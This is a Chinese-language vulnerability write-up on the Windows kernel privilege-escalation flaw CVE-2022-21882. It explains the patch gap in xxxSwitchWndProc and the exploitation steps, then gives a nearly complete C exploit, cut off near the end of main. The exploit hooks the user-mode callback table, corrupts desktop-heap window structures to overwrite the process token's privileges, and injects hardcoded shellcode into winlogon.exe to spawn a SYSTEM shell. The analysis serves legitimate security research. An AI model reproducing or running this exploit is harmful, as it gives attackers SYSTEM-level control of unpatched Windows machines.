CVE-2022-21882 分析&POC

0x0 漏洞描述

该漏洞的成因和CVE-2021-1732类似,如果不了解,请先阅读我之前的分析:https://blog.csdn.net/qq_41252520/article/details/119349398

主要因为 x x x C l i e n t A l l o c E x t r a B y t e s F u n c \textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc} xxxClientAllocExtraBytesFunc函数会回调用户空间中的

u s e r 32 ! _ x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{user32!\_xxxClientAllocWindowClassExtraBytes} user32!_xxxClientAllocWindowClassExtraBytes,攻击者可以在此过程中设置目标窗口的 ExtraBytes指针为任意值,并且修改该指针的寻址方式为 桌面堆+偏移,以实现桌面堆的越界写。在CVE-2021-1732中,只有 x x x C r e a t e W i n d o w s E x \textcolor{cornflowerblue}{xxxCreateWindowsEx} xxxCreateWindowsEx函数中会调用 x x x C l i e n t A l l o c E x t r a B y t e s F u n c \textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc} xxxClientAllocExtraBytesFunc,后微软推出了针对该漏洞的补丁。后面小节会分析为什么打了补丁的 x x x C l i e n t A l l o c E x t r a B y t e s F u n c \textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc} xxxClientAllocExtraBytesFunc还会造成CVE-2022-21882漏洞。

0x1 影响版本

Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit Systems

0x2 漏洞等级

7.8 | 高危

0x3 漏洞分析

【环境】win10x64_21H2 19044.1415

首 先 要 从 C V E − 2021 − 1732 的 补 丁 分 析 说 起 \textcolor{green}{首先要从CVE-2021-1732的补丁分析说起} CVE20211732

安装补丁后, x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx在调用 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes后增添了一个检查:

__int64 __fastcall xxxCreateWindowEx(int a1, wchar_t *a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int a6, int a7, unsigned int a8, unsigned int a9, __int64 a10, __int64 a11, __int64 a12, __int64 a13, __int64 a14, int a15, int a16, __int64 a17)
{
    ...
    LABLE_543:
    ...
        goto LABEL_544;
    LABEL_544:
    ...
        xxxFreeWindow(v50);
    ...
        goto LABEL_37;
    LABEL_37:
        SmartObjStackRef::~SmartObjStackRef(&v308);
        SmartObjStackRef::~SmartObjStackRef(&v303);
        return 0i64;
    ...
    cbExtraBytes = *(unsigned int *)(*((_QWORD *)v50 + 5) + 0xC8i64);
    if ( !(_DWORD)cbExtraBytes )
        goto LABEL_211;
    ExtraBytes = xxxClientAllocWindowClassExtraBytes(cbExtraBytes);// 易受攻击的函数
    v405 = ExtraBytes;
    if ( !ExtraBytes )
    {
        v301 = 2;
        if ( *((_DWORD *)v50 + 2) != 1 )
            goto LABEL_542;
        goto LABEL_197;
    }
    if ( (unsigned int)IsWindowBeingDestroyed((__int64)v50)
        || *(_BYTE *)(_HMPheFromObject(v96) + 0x19) & 1
        || (v352 = 0i64, tagWND::RedirectedFieldpExtraBytes::operator!=((__int64)v50 + 0x140, &v352)) )// tagWND->ExtraBytes != 0
    {
        LABEL_542:
        v121 = v301;
        goto LABEL_543;
    }
    tagWND_1 = *((_QWORD *)v50 + 5);
    if ( *(_DWORD *)(tagWND_1 + 0xE8) & 0x800 )
    {
        MicrosoftTelemetryAssertTriggeredNoArgsKM();
        tagWND_1 = v306[5];
    }
    *(_QWORD *)(tagWND_1 + 0x128) = ExtraBytes;
}
  • 正常情况下,在新创建一个窗口还没调用 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes的时候,其窗口对应的 t a g W N D − > E x t r a B y t e s \textcolor{orange}{tagWND->ExtraBytes} tagWND>ExtraBytes自然是空的,所以通过 @line:31的判断语句就能检测到目标窗口的 ExtraBytes指针是否在回调过程中被修改,推测出用户态回调是否被 HOOK。如果检查到非正常修改就会转到 @line:4的流程,释放掉新建的窗口,并返回失败。
  • 然而这样一个补丁居然是打在 x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx函数里的,且 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes函数并没有做任何修改,当然这在当时的系统没有任何问题,但是有意思的是在后来的更新中, x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes又多了几个触发的路径
    • CVE-2022-21882 分析&POC_第1张图片

__int64 __fastcall xxxSwitchWndProc(struct tagWND *a1, int a2, unsigned __int64 a3, __int64 a4)
{
    ...
    *((_QWORD *)v7 + 0x23) = v15;
    *(_DWORD *)(*(_QWORD *)v8 + 0xFCi64) = v14;
    cbExtraBytes = *(unsigned int *)(*(_QWORD *)v8 + 0xC8i64);
    v28 = cbExtraBytes;
    if ( (_DWORD)cbExtraBytes )
    {
        ret = (void *)xxxClientAllocWindowClassExtraBytes((unsigned int)cbExtraBytes);
        if ( !ret )
            return 0i64;
    }
    else
    {
        ret = 0i64;
    }
    if ( tagWND::RedirectedFieldpExtraBytes::operator bool((__int64)v7 + 0x140) )// tagWND->ExtraBytes != NULL
    {
        if ( ret )
            memmove(
            ret,
            (const void *)(*(_QWORD *)(*(_QWORD *)v8 + 0x128i64) + *(unsigned int *)(*(_QWORD *)v8 + 0xFCi64)),
            cbExtraBytes);
        tagWND = *((_QWORD *)v7 + 5);
        ExtraBytes = *(_QWORD *)(tagWND + 0x128);
        *(_QWORD *)(tagWND + 0x128) = ret;
        *(_DWORD *)(*((_QWORD *)v7 + 5) + 0xC8i64) = cbExtraBytes;
        xxxClientFreeWindowClassExtraBytes((__int64)v7, ExtraBytes);
    }
    ...
}

@line:8 当被切换的目标窗口的 cbExtraBytes大于 0时,就会调用易受攻击的函数

x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes为窗口分配额外内存,后面却没有检查窗口的 ExtraBytes在用户层回调过程中是否遭到修改。因此,同样的问题又发生了!并且这个漏洞更容易利用,因为窗口已经创建完毕,我们可以轻松拿到窗口的句柄。

需要注意的是,当分配了额外内存,并拷贝完数据后,就会释放掉额外内存。 @line:29

0x4 漏洞利用

整个利用过程可以用一张图来表示

CVE-2022-21882 分析&POC_第2张图片

首先应用层可以通过调用 N t U s e r M e s s a g e C a l l \textcolor{cornflowerblue}{NtUserMessageCall} NtUserMessageCall函数触发内核层的 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc} xxxSwitchWndProc函数,接着就会调用到易受攻击的函数 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes。我们事先在应用层 Hook相应的回调函数,然后就是调用函数 N t U s e r C o n s o l e C o n t r o l \textcolor{cornflowerblue}{NtUserConsoleControl} NtUserConsoleControl修改 tagWND_TriggerExtraBytes内存寻址方式为 桌面堆+偏移,然后调用函数 N t C a l l b a c k R e t u r n \textcolor{cornflowerblue}{NtCallbackReturn} NtCallbackReturn将受害者窗口相对于桌面堆的偏移 tagWND_Victim offset设置为 t a g W N D _ T r i g g e r − > E x t r a B y t e s \textcolor{orange}{tagWND\_Trigger->ExtraBytes} tagWND_Trigger>ExtraBytes

还要 Hook应用层的 U s e r 32 ! _ x x x C l i e n t F r e e W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{User32!\_xxxClientFreeWindowClassExtraBytes} User32!_xxxClientFreeWindowClassExtraBytes,使其不释放 t a g W N D _ T r i g g e r − > E x t r a B y t e s \textcolor{orange}{tagWND\_Trigger->ExtraBytes} tagWND_Trigger>ExtraBytes,保证进一步的漏洞利用能够顺利进行。

触发漏洞的窗口(hTrigger)和受害者窗口(hVictim)在内存上的布局应遵循下图所示的方式:

CVE-2022-21882 分析&POC_第3张图片

hVictim在内存地址低处,hTrigger在内存地址高处。通过前一张图中的漏洞利用流程,修改 hTrigger t a g W N D − > F l a g s   ∣ =   0 x 800 \textcolor{orange}{tagWND->Flags\ |=\ 0x800} tagWND>Flags = 0x800,并设置 tagWND_Victim相对于桌面堆的偏移为 t a g W N D T r i g g e r − > E x t r a B y t e s \textcolor{orange}{tagWND_Trigger->ExtraBytes} tagWNDTrigger>ExtraBytes,然后对 hWndTrigger调用 S e t W i n d o w L o n g \textcolor{cornflowerblue}{SetWindowLong} SetWindowLong系列的函数,越界修改 t a g W N D _ V i c t i m − > E x t r a B y t e s \textcolor{orange}{tagWND\_Victim->ExtraBytes} tagWND_Victim>ExtraBytes为任意内存,再对 hWndVictim调用 S e t W i n d o w L o n g \textcolor{cornflowerblue}{SetWindowLong} SetWindowLong系列的函数便可实现任意内存写。

获得任意内核地址写之后,我们可以修改当前进程的 T o k e n − > P r i v i l e g e s \textcolor{orange}{Token->Privileges} Token>Privileges,开启全部权限,然后注入 shellcodewinlong.exe获得一个系统用户的 shell

最后不要忘了恢复 t a g W N D _ V i c t i m − > E x t r a B y t e s \textcolor{orange}{tagWND\_Victim->ExtraBytes} tagWND_Victim>ExtraBytes t a g W N D T r i g g e r − > F l a g s \textcolor{orange}{tagWND_Trigger->Flags} tagWNDTrigger>Flags,避免系统 BSOD

0x5 EXP

#include
#include
#include
#include 
#pragma comment(lib, "Psapi.lib ")

#define KERNEL_CALLBACK_TABLE_OFFSET 0x58
#define TRIGGERWND_EXTRASIZE 0xABCD
#define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L) 

#pragma pack(1)
typedef struct 
{
	ULONG64 hWnd;                // + 0x00
	ULONG64 OffsetToDesktopHeap; // + 0x08
	ULONG64 state;               // + 0x10
	DWORD dwExStyle;             // + 0x18
	DWORD dwStyle;               // + 0x1C
	BYTE padd1[0xa8];
	ULONG64 cbWndExtra;          // + 0xC8
	BYTE padd2[0x18];
	DWORD dwExtraFlag;           // + 0xE8
	BYTE padd3[0x3c];
	ULONG64 pExtraBytes;         // + 0x128
}tagWNDK,*PWND;

#pragma pack(0)

typedef struct _SYSTEM_HANDLE
{
	PVOID Object;
	HANDLE UniqueProcessId;
	HANDLE HandleValue;
	ULONG GrantedAccess;
	USHORT CreatorBackTraceIndex;
	USHORT ObjectTypeIndex;
	ULONG HandleAttributes;
	ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
	ULONG_PTR HandleCount;
	ULONG_PTR Reserved;
	SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;

enum SYSTEM_INFORMATION_CLASS {
	SystemExtendedHandleInformation = 64
};

using NtUserMessageCall_t = NTSTATUS(*)(
	HWND hWnd,
	UINT Msg,
	WPARAM wParam,
	LPARAM lParam,
	ULONG_PTR ResultInfo,
	DWORD dwType,
	BOOL bAnsi);

using ZwQuerySystemInformation_t = NTSTATUS(*)(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength);

using RtlAllocateHeap_t = PVOID(*)(PVOID HeapHandle, ULONG Flags, SIZE_T Size);

using xxxClientAllocWindowClassExtraBytes_t = NTSTATUS(*)(PDWORD Length);
using xxxClientFreeWindowClassExtraBytes_t = NTSTATUS(*WINAPI)(PVOID* pInfo);

using NtUserConsoleControl_t = NTSTATUS(__fastcall*)(DWORD64, LPVOID, DWORD);
using NtCallbackReturn_t = NTSTATUS(__fastcall*)(LPVOID, DWORD, NTSTATUS);
using HMValidateHandle_t = tagWNDK*(__fastcall*)(HANDLE, UINT);
using IsMenu_t = BOOL(*)(HMENU hMenu);

namespace gb {
	xxxClientAllocWindowClassExtraBytes_t xxxClientAllocWindowClassExtraBytes = 0;
	xxxClientFreeWindowClassExtraBytes_t xxxClientFreeWindowClassExtraBytes = 0;
	NtUserConsoleControl_t NtUserConsoleControl = 0;
	NtCallbackReturn_t NtCallbackReturn = 0;
	HMValidateHandle_t HMValidateHandle = 0;
	NtUserMessageCall_t  NtUserMessageCall = 0;
	ZwQuerySystemInformation_t ZwQuerySystemInformation = 0;
	RtlAllocateHeap_t RtlAllocateHeap = 0;

	IsMenu_t u32_IsMenu = 0;
	HMODULE g_hNtdll = 0;
	HMODULE g_hWin32u = 0;
	HMODULE g_hUser32 = 0;

	HWND g_hTriggerWnd = 0;
	HWND g_hVictimWnd = 0;

	DWORD64 TriggerDeskHeap = 0;
	DWORD64 VictimDeskHeap = 0;
	HANDLE hToken = 0;
};


VOID SetFuncHook(DWORD64 newAllocFunc,DWORD64 newFreeFunc) {
	//1.获取本进程的PEB
	DWORD64 ulCurrPEB = __readgsqword(0x60);
	printf("[+] Found ulCurrPEB = 0x%p\n", ulCurrPEB);
	//2.找到KernelCallbackTable
	DWORD64 KernelCallbackTable = ulCurrPEB + KERNEL_CALLBACK_TABLE_OFFSET;
	KernelCallbackTable = *(PDWORD64)KernelCallbackTable;
	printf("[+] Found KernelCallbackTable = 0x%p\n", KernelCallbackTable);
	DWORD64  xxxClientAllocExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8);
	printf("[+] Found xxxClientAllocExtraBytesFunc = 0x%p\n", xxxClientAllocExtraBytesFunc);
	gb::xxxClientAllocWindowClassExtraBytes = (xxxClientAllocWindowClassExtraBytes_t)xxxClientAllocExtraBytesFunc;

	DWORD64  xxxClientFreeExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7C * 8);
	printf("[+] Found xxxClientFreeExtraBytesFunc = 0x%p\n", xxxClientFreeExtraBytesFunc);
	gb::xxxClientFreeWindowClassExtraBytes = (xxxClientFreeWindowClassExtraBytes_t)xxxClientFreeExtraBytesFunc;

	//3.HOOK
	//首先需要设置页面可写属性
	DWORD dwOldProtect;
	VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);
	*(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8) = newAllocFunc;
	VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, dwOldProtect, &dwOldProtect);

	VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7C * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);
	*(PDWORD64)((DWORD64)KernelCallbackTable + 0x7C * 8) = newFreeFunc;
	VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7C * 8), 0x300, dwOldProtect, &dwOldProtect);
}

NTSTATUS WINAPI ClientFreeWindowsClassExtraBytesProxy(PVOID* pInfo) {
	PWND pwnd = (PWND)pInfo[0];
	if (pwnd->cbWndExtra == TRIGGERWND_EXTRASIZE)
		return 1;
	return gb::xxxClientFreeWindowClassExtraBytes(pInfo);
}

NTSTATUS WINAPI ClientAllocatWindowClassExtraBytesProxy(PDWORD size) {
	
	if (*size==TRIGGERWND_EXTRASIZE) {
		//获取窗口句柄
		//使用NtUserConsoleControl 将目标窗口的寻址模式修改为DesktopHeap+Offset
		printf("[+] ClientAllocatWindowClassExtraBytesProxy called! Offset = %p\n\n", gb::VictimDeskHeap);
		gb::NtUserConsoleControl(6, &gb::g_hTriggerWnd, 0x10);
		//修改hWndTriggle 的 tagWnd->ExtraBytes 为 hTriggerWnd的桌面堆
		DWORD64 ulResult = gb::VictimDeskHeap ;
		return gb::NtCallbackReturn(&ulResult, 24, 0);
	}
	return gb::xxxClientAllocWindowClassExtraBytes(size);
}

LRESULT __fastcall WindowProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
	if (a2 != 2)
		return DefWindowProcW(a1, a2, a3, a4);
	PostQuitMessage(0);
	return 0;
}

bool CheckPrivilege(HANDLE TokenHandle)
{
	BOOL isPrivilegeSet = FALSE;
	PRIVILEGE_SET		privSet;
	LUID_AND_ATTRIBUTES Privileges[1];
	LookupPrivilegeValue(NULL, "SeDebugPrivilege", &(Privileges[0].Luid));
	Privileges[0].Attributes = 0;

	privSet.PrivilegeCount = 1;
	privSet.Control = PRIVILEGE_SET_ALL_NECESSARY;
	memcpy(privSet.Privilege, Privileges, sizeof(Privileges));

	PrivilegeCheck(TokenHandle, &privSet, &isPrivilegeSet);
	return isPrivilegeSet;
}

DWORD getProcessId(const char* name)
{
	DWORD aProcesses[1024], cbNeeded, cProcesses;
	unsigned int i;

	if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
	{
		printf("[Error_%d] EnumProcess failed...\n", __LINE__);
		exit(0);
	}


	// Calculate how many process identifiers were returned.
	cProcesses = cbNeeded / sizeof(DWORD);

	// Print the name and process identifier for each process.
	for (i = 0; i < cProcesses; i++)
	{
		if (aProcesses[i] != 0)
		{
			DWORD processID = aProcesses[i];
			CHAR szProcessName[MAX_PATH] = "";

			// Get a handle to the process.

			HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
				PROCESS_VM_READ,
				FALSE, processID);

			// Get the process name.

			if (NULL != hProcess)
			{
				HMODULE hMod;
				DWORD cbNeeded;

				if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
					&cbNeeded))
				{
					GetModuleBaseNameA(hProcess, hMod, szProcessName,
						sizeof(szProcessName) / sizeof(TCHAR));
				}
			}

			// Print the process name and identifier.
			if (!lstrcmpA(szProcessName, name))
			{
				CloseHandle(hProcess);
				return (processID);
			}

			// Release the handle to the process.

			CloseHandle(hProcess);
		}
	}

	return 0;

}

void SpawnShell() {
	HANDLE hSystemProcess = INVALID_HANDLE_VALUE;
	PVOID  pLibRemote;
	HMODULE hKernel32 = GetModuleHandleA("Kernel32");
	DWORD processID;
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
		"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
		"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
		"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
		"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
		"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
		"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
		"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
		"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
		"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
		"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
		"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
		"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
		"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
		"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
		"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
		"\x78\x65\x00";


	if ((processID = getProcessId("winlogon.exe")) == 0)
	{
		printf("[Error_%d] Couldn't retrieve process ID...\n", __LINE__);
		return;
	}
	printf("[+] Retrieved process id: %d\n", processID);
	hSystemProcess = OpenProcess(GENERIC_ALL, false, processID);

	if (hSystemProcess == INVALID_HANDLE_VALUE || hSystemProcess == (HANDLE)0)
	{
		printf("[Error_%d] Couldn't open system process...\n", __LINE__);
		return;
	}
	printf("[+] Got a handle on a system Process: %08p\n", hSystemProcess);


	pLibRemote = VirtualAllocEx(hSystemProcess, NULL, sizeof(shellcode) * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	if (!pLibRemote)
	{
		printf("[Error_%d] Virtual alloc failed !\n", __LINE__);
		return;
	}

	printf("[+] Allocation in system process succeded with address %08p\n", pLibRemote);

	if (!WriteProcessMemory(hSystemProcess, pLibRemote, shellcode, sizeof(shellcode), NULL))
	{
		printf("[Error_%d] WriteProcessMemory failed !\n", __LINE__);
		return;
	}

	HANDLE hThread = CreateRemoteThread(hSystemProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLibRemote, NULL, 0, NULL);

	printf("[+] Writing in system process succeded\n");

	if (hThread == NULL) {
		printf("[Error_%d] CreateRemoteThread failed !\n", __LINE__);
		return;
	}
	else
		printf("[+] Remote thread created !\n");
	CloseHandle(hSystemProcess);
}

ULONG64 GetToken() {
	PSYSTEM_HANDLE_INFORMATION_EX sys_handle_info_ref = NULL;
	ULONG64 Token = 0;
	ULONG len = 20;
	NTSTATUS ntst = 0;

	OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &gb::hToken);
	if (gb::hToken == INVALID_HANDLE_VALUE) {
		printf("[Error_%d] GetToken(): OpenProcessToken failed.\n", __LINE__);
		return 0;
	}
	//获取本进程的EPROCESS
	do {
		len *= 2;
		sys_handle_info_ref = (PSYSTEM_HANDLE_INFORMATION_EX)realloc(sys_handle_info_ref, len);
		ntst = gb::ZwQuerySystemInformation(
			(SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, sys_handle_info_ref, len, &len);
	} while (ntst == STATUS_INFO_LENGTH_MISMATCH);

	if (ntst != 0) {
		printf("[Error_%d] GetToken(): ZwQuerySystemInformation failed.\n", __LINE__);
		if (sys_handle_info_ref)
			free(sys_handle_info_ref);
		return 0;
	}

	DWORD pid = GetCurrentProcessId();
	for (int i = 0; i < sys_handle_info_ref->HandleCount; i++) {
		if (gb::hToken == sys_handle_info_ref->Handles[i].HandleValue
			&& (HANDLE)pid == sys_handle_info_ref->Handles[i].UniqueProcessId) {
			Token = (ULONG64)sys_handle_info_ref->Handles[i].Object;
			break;
		}
	}

	if (sys_handle_info_ref)
		free(sys_handle_info_ref);

	printf("[+] Found current process token = %p\n", Token);
	return Token;
}


BOOLEAN Init() {
	BOOLEAN bRet = TRUE;
	int offset = 0;
	DWORD64 next_code = 0;

	__try {
		gb::g_hUser32 = LoadLibraryA("user32.dll");
		if (!gb::g_hUser32) {
			printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}
		//获取u32_IsMenu
		gb::u32_IsMenu = (IsMenu_t)GetProcAddress(gb::g_hUser32, "IsMenu");
		if (!gb::u32_IsMenu) {
			printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}

		for (int i = 0; i < 0x100; i++) {
			PUCHAR tr = (PUCHAR)gb::u32_IsMenu + i;
			if (*tr == 0xE8)
			{//找到调用HMValidateHandle的指令位置
				offset = *(int*)((PCHAR)gb::u32_IsMenu + i + 1);
				next_code = (DWORD64)gb::u32_IsMenu + i + 5;
				gb::HMValidateHandle = (HMValidateHandle_t)(next_code + offset);
				break;
			}
		}
		if (!gb::HMValidateHandle) {
			printf("[!] Error: Can not find HMValidateHandle!\n");
			bRet = FALSE;
			__leave;
		}

		printf("[+] Found HMValidateHandle = 0x%p\n", gb::HMValidateHandle);

		gb::g_hNtdll = LoadLibraryA("ntdll.dll");
		if (!gb::g_hNtdll) {
			printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}

		gb::g_hWin32u = LoadLibraryA("win32u.dll");
		if (!gb::g_hWin32u) {
			printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}
		
		gb::NtCallbackReturn = (NtCallbackReturn_t)GetProcAddress(gb::g_hNtdll, "NtCallbackReturn");
		gb::NtUserMessageCall = (NtUserMessageCall_t)GetProcAddress(gb::g_hWin32u, "NtUserMessageCall");
		gb::NtUserConsoleControl = (NtUserConsoleControl_t)GetProcAddress(gb::g_hWin32u, "NtUserConsoleControl");
		gb::ZwQuerySystemInformation = (ZwQuerySystemInformation_t)GetProcAddress(gb::g_hNtdll, "NtQuerySystemInformation");
		gb::RtlAllocateHeap = (RtlAllocateHeap_t)GetProcAddress(gb::g_hNtdll, "RtlAllocateHeap");
		if (gb::NtCallbackReturn==0 || gb::NtUserMessageCall==0 || 
			gb::NtUserConsoleControl==0 || gb::ZwQuerySystemInformation==0 ||
			gb::RtlAllocateHeap==0) {
			printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}
	}
	__finally {

	}
	return bRet;
}

int main(int argc,char *argv[]) {

	if (argc <= 1) {
		printf(
		"Usage:\n"
		"         Example: CVE-2022-21882.exe whoami\n"
		);
		return 0;
	}

	WNDCLASSEXW WndClassExW = { 0 };

	ULONG64 TokenAddr = 0;

	if (Init()) {

		TokenAddr = GetToken();

		if (TokenAddr == 0) {
			printf("[-] Error(%u): GetToken failed.\n");
			return 0;
		}

		WndClassExW.hIcon = 0;
		WndClassExW.hbrBackground = 0;
		WndClassExW.lpszClassName = 0;
		WndClassExW.lpfnWndProc = (WNDPROC)WindowProc;
		WndClassExW.cbSize = sizeof(WNDCLASSEXW);
		WndClassExW.style = CS_VREDRAW | CS_HREDRAW;;
		WndClassExW.cbClsExtra = 0;
		WndClassExW.cbWndExtra = 0x60;
		WndClassExW.hInstance = GetModuleHandleW(0);
		WndClassExW.lpszClassName = L"VictimClass";
		//被覆盖写
		ATOM atom_vic = RegisterClassExW(&WndClassExW);

		WndClassExW.cbWndExtra = TRIGGERWND_EXTRASIZE;
		WndClassExW.lpszClassName = L"TriggerClass";

		//触发漏洞
		ATOM atom_trig = RegisterClassExW(&WndClassExW);

		gb::g_hVictimWnd = CreateWindowExW(NULL,
			(LPCWSTR)(unsigned __int16)atom_vic,
			L"VictimWnd",
			NULL,
			0,
			0, 
			0,
			0,
			0,
			0,
			GetModuleHandleW(0),
			0);
		printf("[+] Created victim windows = 0x%p\n", gb::g_hVictimWnd);

		gb::g_hTriggerWnd = CreateWindowExW(NULL,
			(LPCWSTR)(unsigned __int16)atom_trig,
			L"TriggerBug",
			NULL,
			0,
			0,
			0,
			0,
			0,
			0,
			GetModuleHandleW(0),
			0);
		printf("[+] Created trigger windows = 0x%p\n", gb::g_hTriggerWnd);
		// 触发漏洞
		// 获取刚创建的这两个窗口的桌面堆
		PWND Trigger= gb::HMValidateHandle(gb::g_hTriggerWnd, 1);
		gb::TriggerDeskHeap = Trigger->OffsetToDesktopHeap;
		printf("[+] TriggerDeskHeap's tagWND = 0x%p\n", Trigger);
		PWND Victim = gb::HMValidateHandle(gb::g_hVictimWnd, 1);
		gb::VictimDeskHeap = Victim->OffsetToDesktopHeap;
		DWORD64 Distance = 0;
		if (gb::VictimDeskHeap> gb::TriggerDeskHeap) {
			Distance=gb::VictimDeskHeap - gb::TriggerDeskHeap;
		}
		else {
			Distance = gb::TriggerDeskHeap - gb::VictimDeskHeap;
		}

		if (Distance >= TRIGGERWND_EXTRASIZE) {
			printf("[-] Heap spray failed!\n");
			return 0;
		}

		printf("[+] VictimDeskHeap's tagWND = 0x%p\n", Victim);
		printf("[+] TriggerDeskHeap = %p\n", gb::TriggerDeskHeap);
		printf("[+] VictimDeskHeap = %p\n", gb::VictimDeskHeap);

		// 代理回调函数
		SetFuncHook((DWORD64)ClientAllocatWindowClassExtraBytesProxy,(DWORD64)ClientFreeWindowsClassExtraBytesProxy);
		// 触发漏洞
		gb::NtUserMessageCall(gb::g_hTriggerWnd, WM_CREATE,0,0, NULL, 0, FALSE);

		// 修改 tagWND_victim->ExtraBytes = TokenAddr
		ULONG_PTR Old = SetWindowLongPtrW(gb::g_hTriggerWnd, 0x128+0x10, TokenAddr+0x40);
		// 修改 Token->Privileges.Enabled = 0xFFFFFFFFFFFFFFFF
		SetWindowLongPtrW(gb::g_hVictimWnd, 8, 0xFFFFFFFFFFFFFFFF);
